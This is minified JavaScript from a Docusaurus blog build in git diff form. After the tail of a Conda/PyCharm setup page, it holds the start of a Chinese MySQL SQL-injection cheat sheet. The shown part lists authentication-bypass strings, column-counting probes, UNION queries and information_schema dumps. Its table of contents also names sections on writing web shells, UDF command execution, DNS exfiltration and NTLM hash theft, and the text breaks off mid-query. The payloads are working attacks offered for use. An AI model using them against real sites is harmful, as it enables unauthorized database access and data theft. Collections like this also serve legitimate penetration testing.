Interpreter"}),"\n",(0,i.jsxs)(e.p,{children:["\u8fdb\u53bb\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u89c1\u4ed6\u4f7f\u7528\u7684\u662f\u9ed8\u8ba4\u7684base\u73af\u5883\uff0c\u73b0\u5728\u6211\u4eec\u9700\u8981\u5c06\u8fd9\u4e2a\u73af\u5883\u8bbe\u7f6e\u6210\u6211\u4eec\u7684",(0,i.jsx)(e.code,{children:"test"}),"\u73af\u5883,\u70b9\u51fb",(0,i.jsx)(e.code,{children:"\u9f7f\u8f6e"}),"\uff0c\u9009\u62e9",(0,i.jsx)(e.code,{children:"Add"})]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u6539\u73af\u5883",src:s(76809).A+"",width:"970",height:"700"})}),"\n",(0,i.jsxs)(e.p,{children:["\u70b9\u51fb",(0,i.jsx)(e.code,{children:"Conda Environment"})," \uff0c\u9009\u62e9",(0,i.jsx)(e.code,{children:"Existing environment"}),"\uff0c\u5c06",(0,i.jsx)(e.code,{children:"Interpreter"}),"\u8bbe\u7f6e\u4e3atest\u73af\u5883\u4e0b\u7684",(0,i.jsx)(e.code,{children:"python.exe"})]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u6539\u73af\u5883",src:s(45842).A+"",width:"835",height:"577"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6ce8\uff1a\u5982\u679c\u5728pycharm\u7684\u73af\u5883\u65f6\uff0c\u60f3\u8fdb\u5165\u6211\u4eec\u7684\u865a\u62df\u73af\u5883\uff0c\u8981\u4f7f\u7528",(0,i.jsx)(e.code,{children:"conda activate \u540d\u79f0"})]})]})}function o(n={}){const{wrapper:e}={...(0,d.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(t,{...n})}):t(n)}},5956:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Linux_source-4185ab3d08326f5791913e50a81dfefd.png"},7721:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Linux_GPU-04efab93f031ece1f4452ddbd96013a0.png"},28453:(n,e,s)=>{s.d(e,{R:()=>l,x:()=>a});var c=s(96540);const i={},d=c.createContext(i);function l(n){const e=c.useContext(d);return c.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function a(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:l(n.components),c.createElement(d.Provider,{value:e},n.children)}},34852:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/prompt-5d564648d27a39a7767664aa03e03484.png"},36579:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Nvidia-630ef31ec1fc1115e72ab947fa644588.png"},40862:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Pycharm-957b19361072403278e971b5efcf05fe.png"},42926:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/check_windows-bb6a0faca9fbb4bb392ef816aa03bb58.png"},45842:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/envs2-198a6d2179df41cf98ba39bb971d63b1.png"},45846:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Pytorch-653d46576926d6154bf017c39568d143.png"},48971:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/check_linux-e2275cb42db9f7d4760d19639169a3c9.png"},50542:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/gpu-e2187203fc7525dc457a7a60f0909d53.png"},64610:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/choose_envs-1076fdf743d4980316859b6e45c41dca.png"},64936:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/table-4ce60677091cf4c2d5ffbf03c22184bf.png"},73929:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Anaconda-762136515146dabffceabb1a4337ccac.png"},76809:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/envs1-451eb7783915f133dd69d25f11dc7f6e.png"},82082:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/download-4da7355589063c5959add8d34cc24970.png"},87704:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/source_ok-97abc2f9efd153bace45613782d98fa2.png"},96641:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/install-a1eb7825bd0c0f2e1b2ec2a5eca79ffc.png"},97998:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/env_list-ea03e84eb7fb87adc8c4218773b9eb26.png"}}]); \ No newline at end of file diff --git a/en/assets/js/7991abfe.7656c2c2.js b/en/assets/js/7991abfe.7656c2c2.js new file mode 100644 index 0000000..8f64ad4 --- /dev/null +++ b/en/assets/js/7991abfe.7656c2c2.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6591],{28453:(e,n,c)=>{c.d(n,{R:()=>r,x:()=>d});var s=c(96540);const l={},a=s.createContext(l);function r(e){const n=s.useContext(a);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:r(e.components),s.createElement(a.Provider,{value:n},e.children)}},70159:(e,n,c)=>{c.r(n),c.d(n,{assets:()=>i,contentTitle:()=>d,default:()=>h,frontMatter:()=>r,metadata:()=>s,toc:()=>t});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","title":"MySQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/04.MySQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/04.MySQL.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Oracle","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle"},"next":{"title":"PostgreSQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL"}}');var l=c(74848),a=c(28453);const r={},d=void 0,i={},t=[{value:"MYSQL \u9ed8\u8ba4\u6570\u636e\u5e93",id:"mysql-\u9ed8\u8ba4\u6570\u636e\u5e93",level:2},{value:"MYSQL \u6ce8\u91ca",id:"mysql-\u6ce8\u91ca",level:2},{value:"MYSQL \u6d4b\u8bd5\u6ce8\u5165",id:"mysql-\u6d4b\u8bd5\u6ce8\u5165",level:2},{value:"\u57fa\u4e8e MYSQL \u8054\u5408",id:"\u57fa\u4e8e-mysql-\u8054\u5408",level:2},{value:"\u68c0\u6d4b\u5217\u6570",id:"\u68c0\u6d4b\u5217\u6570",level:3},{value:"\u4f7f\u7528 <code>order by</code> \u6216",id:"\u4f7f\u7528-order-by-\u6216",level:5},{value:"\u4f7f\u7528 <code>order by</code> \u6216\u57fa\u4e8e\u9519\u8bef",id:"\u4f7f\u7528-order-by-\u6216\u57fa\u4e8e\u9519\u8bef",level:5},{value:"\u4f7f\u7528 <code>UNION SELECT</code> \u57fa\u4e8e\u9519\u8bef",id:"\u4f7f\u7528-union-select-\u57fa\u4e8e\u9519\u8bef",level:5},{value:"\u4f7f\u7528 <code>LIMIT INTO</code> \u57fa\u4e8e\u9519\u8bef",id:"\u4f7f\u7528-limit-into-\u57fa\u4e8e\u9519\u8bef",level:5},{value:"\u4f7f\u7528 <code>SELECT * FROM SOME_EXISTING_TABLE</code> \u57fa\u4e8e\u9519\u8bef",id:"\u4f7f\u7528-select--from-some_existing_table-\u57fa\u4e8e\u9519\u8bef",level:5},{value:"\u4f7f\u7528\u4fe1\u606f\u63d0\u53d6\u6570\u636e\u5e93 _schema",id:"\u4f7f\u7528\u4fe1\u606f\u63d0\u53d6\u6570\u636e\u5e93-_schema",level:3},{value:"\u63d0\u53d6\u4e0d\u5305\u542b\u4fe1\u606f\u7684\u5217\u540d _schema",id:"\u63d0\u53d6\u4e0d\u5305\u542b\u4fe1\u606f\u7684\u5217\u540d-_schema",level:3},{value:"\u63d0\u53d6\u4e0d\u5e26\u5217\u540d\u7684\u6570\u636e",id:"\u63d0\u53d6\u4e0d\u5e26\u5217\u540d\u7684\u6570\u636e",level:3},{value:"\u57fa\u4e8e MYSQL \u9519\u8bef",id:"\u57fa\u4e8e-mysql-\u9519\u8bef",level:2},{value:"\u57fa\u4e8e MYSQL \u9519\u8bef-\u57fa\u672c",id:"\u57fa\u4e8e-mysql-\u9519\u8bef-\u57fa\u672c",level:3},{value:"\u57fa\u4e8e MYSQL \u9519\u8bef\u7684-UpdateXML \u51fd\u6570",id:"\u57fa\u4e8e-mysql-\u9519\u8bef\u7684-updatexml-\u51fd\u6570",level:3},{value:"MYSQL \u57fa\u4e8e\u9519\u8bef-\u63d0\u53d6\u503c\u51fd\u6570",id:"mysql-\u57fa\u4e8e\u9519\u8bef-\u63d0\u53d6\u503c\u51fd\u6570",level:3},{value:"\u57fa\u4e8e MYSQL \u9519\u8bef\u7684-NAME_CONST \u51fd\u6570\uff08\u4ec5\u9002\u7528\u4e8e\u5e38\u91cf\uff09",id:"\u57fa\u4e8e-mysql-\u9519\u8bef\u7684-name_const-\u51fd\u6570\u4ec5\u9002\u7528\u4e8e\u5e38\u91cf",level:3},{value:"MYSQL \u76f2",id:"mysql-\u76f2",level:2},{value:"\u5177\u6709\u7b49\u6548\u5b50\u5b57\u7b26\u4e32\u7684 MYSQL \u76f2",id:"\u5177\u6709\u7b49\u6548\u5b50\u5b57\u7b26\u4e32\u7684-mysql-\u76f2",level:3},{value:"\u4f7f\u7528\u4e8c\u8fdb\u5236\u67e5\u8be2\u548c REGEXP \u5728 ORDER BY \u5b50\u53e5\u4e2d\u8fdb\u884c MySQL \u76f2 SQL \u6ce8\u5165",id:"\u4f7f\u7528\u4e8c\u8fdb\u5236\u67e5\u8be2\u548c-regexp-\u5728-order-by-\u5b50\u53e5\u4e2d\u8fdb\u884c-mysql-\u76f2-sql-\u6ce8\u5165",level:3},{value:"MySQL \u76f2 SQL \u6ce8\u5165\u4e8c\u8fdb\u5236\u67e5\u8be2\u4f7f\u7528 REGEXP\u3002",id:"mysql-\u76f2-sql-\u6ce8\u5165\u4e8c\u8fdb\u5236\u67e5\u8be2\u4f7f\u7528-regexp",level:3},{value:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5\u7684 MYSQL \u76f2",id:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5\u7684-mysql-\u76f2",level:3},{value:"\u5e26 MAKE_SET \u7684 MYSQL \u76f2",id:"\u5e26-make_set-\u7684-mysql-\u76f2",level:3},{value:"\u5e26 LIKE \u7684 MYSQL \u76f2",id:"\u5e26-like-\u7684-mysql-\u76f2",level:3},{value:"MYSQL \u57fa\u4e8e\u65f6\u95f4",id:"mysql-\u57fa\u4e8e\u65f6\u95f4",level:2},{value:"\u5728\u5b50\u9009\u62e9\u4e2d\u4f7f\u7528 SLEEP",id:"\u5728\u5b50\u9009\u62e9\u4e2d\u4f7f\u7528-sleep",level:3},{value:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5",id:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5",level:3},{value:"MYSQL DIOS-\u4e00\u6b21\u6027\u8f6c\u50a8",id:"mysql-dios-\u4e00\u6b21\u6027\u8f6c\u50a8",level:2},{value:"MYSQL \u5f53\u524d\u67e5\u8be2",id:"mysql-\u5f53\u524d\u67e5\u8be2",level:2},{value:"MYSQL \u8bfb\u53d6\u6587\u4ef6\u7684\u5185\u5bb9",id:"mysql-\u8bfb\u53d6\u6587\u4ef6\u7684\u5185\u5bb9",level:2},{value:"MYSQL \u7f16\u5199\u4e00\u4e2a shell",id:"mysql-\u7f16\u5199\u4e00\u4e2a-shell",level:2},{value:"\u8fdb\u5165\u5916\u573a\u6cd5",id:"\u8fdb\u5165\u5916\u573a\u6cd5",level:3},{value:"\u5199\u5165\u6587\u4ef6\u65b9\u6cd5",id:"\u5199\u5165\u6587\u4ef6\u65b9\u6cd5",level:3},{value:"MYSQL \u622a\u65ad",id:"mysql-\u622a\u65ad",level:2},{value:"MYSQL \u5feb\u901f\u5229\u7528",id:"mysql-\u5feb\u901f\u5229\u7528",level:2},{value:"MYSQL UDF \u547d\u4ee4\u6267\u884c",id:"mysql-udf-\u547d\u4ee4\u6267\u884c",level:2},{value:"MYSQL \u5e26\u5916",id:"mysql-\u5e26\u5916",level:2},{value:"DNS \u5916\u8fc7\u6ee4",id:"dns-\u5916\u8fc7\u6ee4",level:3},{value:"UNC \u8def\u5f84-NTLM \u54c8\u5e0c\u7a83\u53d6",id:"unc-\u8def\u5f84-ntlm-\u54c8\u5e0c\u7a83\u53d6",level:3},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const n={a:"a",code:"code",h2:"h2",h3:"h3",h5:"h5",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u9ed8\u8ba4\u6570\u636e\u5e93",children:"MYSQL \u9ed8\u8ba4\u6570\u636e\u5e93"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Name"}),(0,l.jsx)(n.th,{children:"\u63cf\u8ff0"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"mysql"}),(0,l.jsx)(n.td,{children:"\u9700\u8981 root \u6743\u9650"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"information_schema"}),(0,l.jsx)(n.td,{children:"Availalble \u7248\u672c 5 \u53ca\u66f4\u9ad8\u7248\u672c"})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u6ce8\u91ca",children:"MYSQL \u6ce8\u91ca"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Type"}),(0,l.jsx)(n.th,{children:"\u63cf\u8ff0"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"#"})}),(0,l.jsx)(n.td,{children:"\u54c8\u5e0c\u6ce8\u91ca"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"/* MYSQL Comment */"})}),(0,l.jsx)(n.td,{children:"C \u6837\u5f0f\u6ce8\u91ca"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"/*! MYSQL Special SQL */"})}),(0,l.jsx)(n.td,{children:"\u7279\u6b8a SQL"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"/*!32302 10*/"})}),(0,l.jsx)(n.td,{children:"MYSQL 3.23.02 \u7248\u672c\u6ce8\u91ca"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"-- -"})}),(0,l.jsx)(n.td,{children:"SQL \u6ce8\u91ca"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:";%00"})}),(0,l.jsx)(n.td,{children:"\u65e0\u5b57\u8282"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"`"}),(0,l.jsx)(n.td,{children:"\u91cd\u97f3\u7b26"})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u6d4b\u8bd5\u6ce8\u5165",children:"MYSQL \u6d4b\u8bd5\u6ce8\u5165"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\uff1a\u67e5\u8be2\u4e3a ",(0,l.jsx)(n.code,{children:"SELECT * FROM Table WHERE id = 'FUZZ';"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"'\tFalse\n''\tTrue\n\"\tFalse\n\"\"\tTrue\n\\\tFalse\n\\\\\tTrue\n"})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\uff1a\u67e5\u8be2\u4e3a ",(0,l.jsx)(n.code,{children:"SELECT * FROM Table WHERE id = FUZZ;"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"AND 1\t True\nAND 0\t False\nAND true\tTrue\nAND false\tFalse\n1-false\t Returns 1 if vulnerable\n1-true\t Returns 0 if vulnerable\n1*56\t Returns 56 if vulnerable\n1*56\t Returns 1 if not vulnerable\n"})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\uff1a\u67e5\u8be2\u4e3a ",(0,l.jsx)(n.code,{children:"SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"' OR '1\n' OR 1 -- -\n\" OR \"\" = \"\n\" OR 1 = 1 -- -\n'='\n'LIKE'\n'=0--+\n"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-mysql-\u8054\u5408",children:"\u57fa\u4e8e MYSQL \u8054\u5408"}),"\n",(0,l.jsx)(n.h3,{id:"\u68c0\u6d4b\u5217\u6570",children:"\u68c0\u6d4b\u5217\u6570"}),"\n",(0,l.jsx)(n.p,{children:"\u9996\u5148\u60a8\u9700\u8981\u77e5\u9053\u5217\u7684\u6570\u91cf"}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-order-by-\u6216",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"order by"})," \u6216"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e0d\u65ad\u589e\u52a0\u8fd9\u4e2a\u6570\u5b57\uff0c\u76f4\u5230\u60a8\u5f97\u5230\u4e00\u4e2a\u9519\u8bef\u7684\u56de\u7b54\u3002\u5c3d\u7ba1 GROUP BY \u548c ORDER BY \u5728 SQL \u4e2d\u5177\u6709\u4e0d\u540c\u7684\u529f\u80fd\u6027\uff0c\u4f46\u5b83\u4eec\u90fd\u53ef\u4ee5\u4ee5\u5b8c\u5168\u76f8\u540c\u7684\u65b9\u5f0f\u7528\u4e8e\u786e\u5b9a\u67e5\u8be2\u4e2d\u7684\u5217\u6570\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' ORDER BY 1--+\t#True\n1' ORDER BY 2--+\t#True\n1' ORDER BY 3--+\t#True\n1' ORDER BY 4--+\t#False - Query is only using 3 columns\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6216"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' GROUP BY 1--+\t#True\n1' GROUP BY 2--+\t#True\n1' GROUP BY 3--+\t#True\n1' GROUP BY 4--+\t#False - Query is only using 3 columns\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-order-by-\u6216\u57fa\u4e8e\u9519\u8bef",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"order by"})," \u6216\u57fa\u4e8e\u9519\u8bef"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e0e\u524d\u9762\u7684\u65b9\u6cd5\u7c7b\u4f3c\uff0c\u5982\u679c\u542f\u7528\u4e86\u9519\u8bef\u663e\u793a\uff0c\u6211\u4eec\u53ef\u4ee5\u7528 1 \u4e2a\u8bf7\u6c42\u68c0\u67e5\u5217\u6570\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+\n\n# Unknown column '4' in 'order clause'\n# This error means query uses 3 column\n#-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6216"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+\n\n# Unknown column '4' in 'group statement'\n# This error means query uses 3 column\n#-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-union-select-\u57fa\u4e8e\u9519\u8bef",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"UNION SELECT"})," \u57fa\u4e8e\u9519\u8bef"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u542f\u7528\u4e86\u9519\u8bef\u663e\u793a\uff0c\u5219\u6b64\u65b9\u6cd5\u6709\u6548"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' UNION SELECT @--+ #The used SELECT statements have a different number of columns\n1' UNION SELECT @,@--+ #The used SELECT statements have a different number of columns\n1' UNION SELECT @,@,@--+ #No error means query uses 3 column\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-limit-into-\u57fa\u4e8e\u9519\u8bef",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"LIMIT INTO"})," \u57fa\u4e8e\u9519\u8bef"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u542f\u7528\u4e86\u9519\u8bef\u663e\u793a\uff0c\u5219\u6b64\u65b9\u6cd5\u6709\u6548\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u5f53\u6ce8\u5165\u70b9\u4f4d\u4e8e LIMIT \u5b50\u53e5\u4e4b\u540e\u65f6\uff0c\u8fd9\u5bf9\u4e8e\u67e5\u627e\u5217\u6570\u975e\u5e38\u6709\u7528\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' LIMIT 1,1 INTO @--+ #The used SELECT statements have a different number of columns\n1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number of columns\n1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-select--from-some_existing_table-\u57fa\u4e8e\u9519\u8bef",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"SELECT * FROM SOME_EXISTING_TABLE"})," \u57fa\u4e8e\u9519\u8bef"]}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u60a8\u77e5\u9053\u8981\u67e5\u627e\u7684\u8868\u540d\u5e76\u4e14\u542f\u7528\u4e86\u9519\u8bef\u663e\u793a\uff0c\u5219\u6b64\u64cd\u4f5c\u6709\u6548\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u5b83\u5c06\u8fd4\u56de\u8868\u4e2d\u7684\u5217\u6570\uff0c\u800c\u4e0d\u662f\u67e5\u8be2\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' AND (SELECT * FROM Users) = 1--+ \t#Operand should contain 3 column(s)\n # This error means query uses 3 column\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u4f7f\u7528\u4fe1\u606f\u63d0\u53d6\u6570\u636e\u5e93-_schema",children:"\u4f7f\u7528\u4fe1\u606f\u63d0\u53d6\u6570\u636e\u5e93 _schema"}),"\n",(0,l.jsx)(n.p,{children:"\u7136\u540e\uff0c\u4ee5\u4e0b\u4ee3\u7801\u5c06\u63d0\u53d6\u6570\u636e\u5e93\u7684\u540d\u79f0\u3001\u8868\u7684\u540d\u79f0\u3001\u5217\u7684\u540d\u79f0\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata\nUniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...\nUniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...\nUniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u63d0\u53d6\u4e0d\u5305\u542b\u4fe1\u606f\u7684\u5217\u540d-_schema",children:"\u63d0\u53d6\u4e0d\u5305\u542b\u4fe1\u606f\u7684\u5217\u540d _schema"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"MySQL >= 4.1"})," \u7684\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u9996\u5148\u7528\u63d0\u53d6\u5217\u7f16\u53f7"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=(1)and(SELECT * from db.users)=(1)\n-- Operand should contain 4 column(s)\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u7136\u540e\u63d0\u53d6\u5217\u540d\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)\n--Column 'id' cannot be null\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"MySQL 5"})," \u7684\u65b9\u6cd5"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a\n--#1060 - Duplicate column name 'id'\n\n-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a\n-- #1060 - Duplicate column name 'name'\n\n-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b 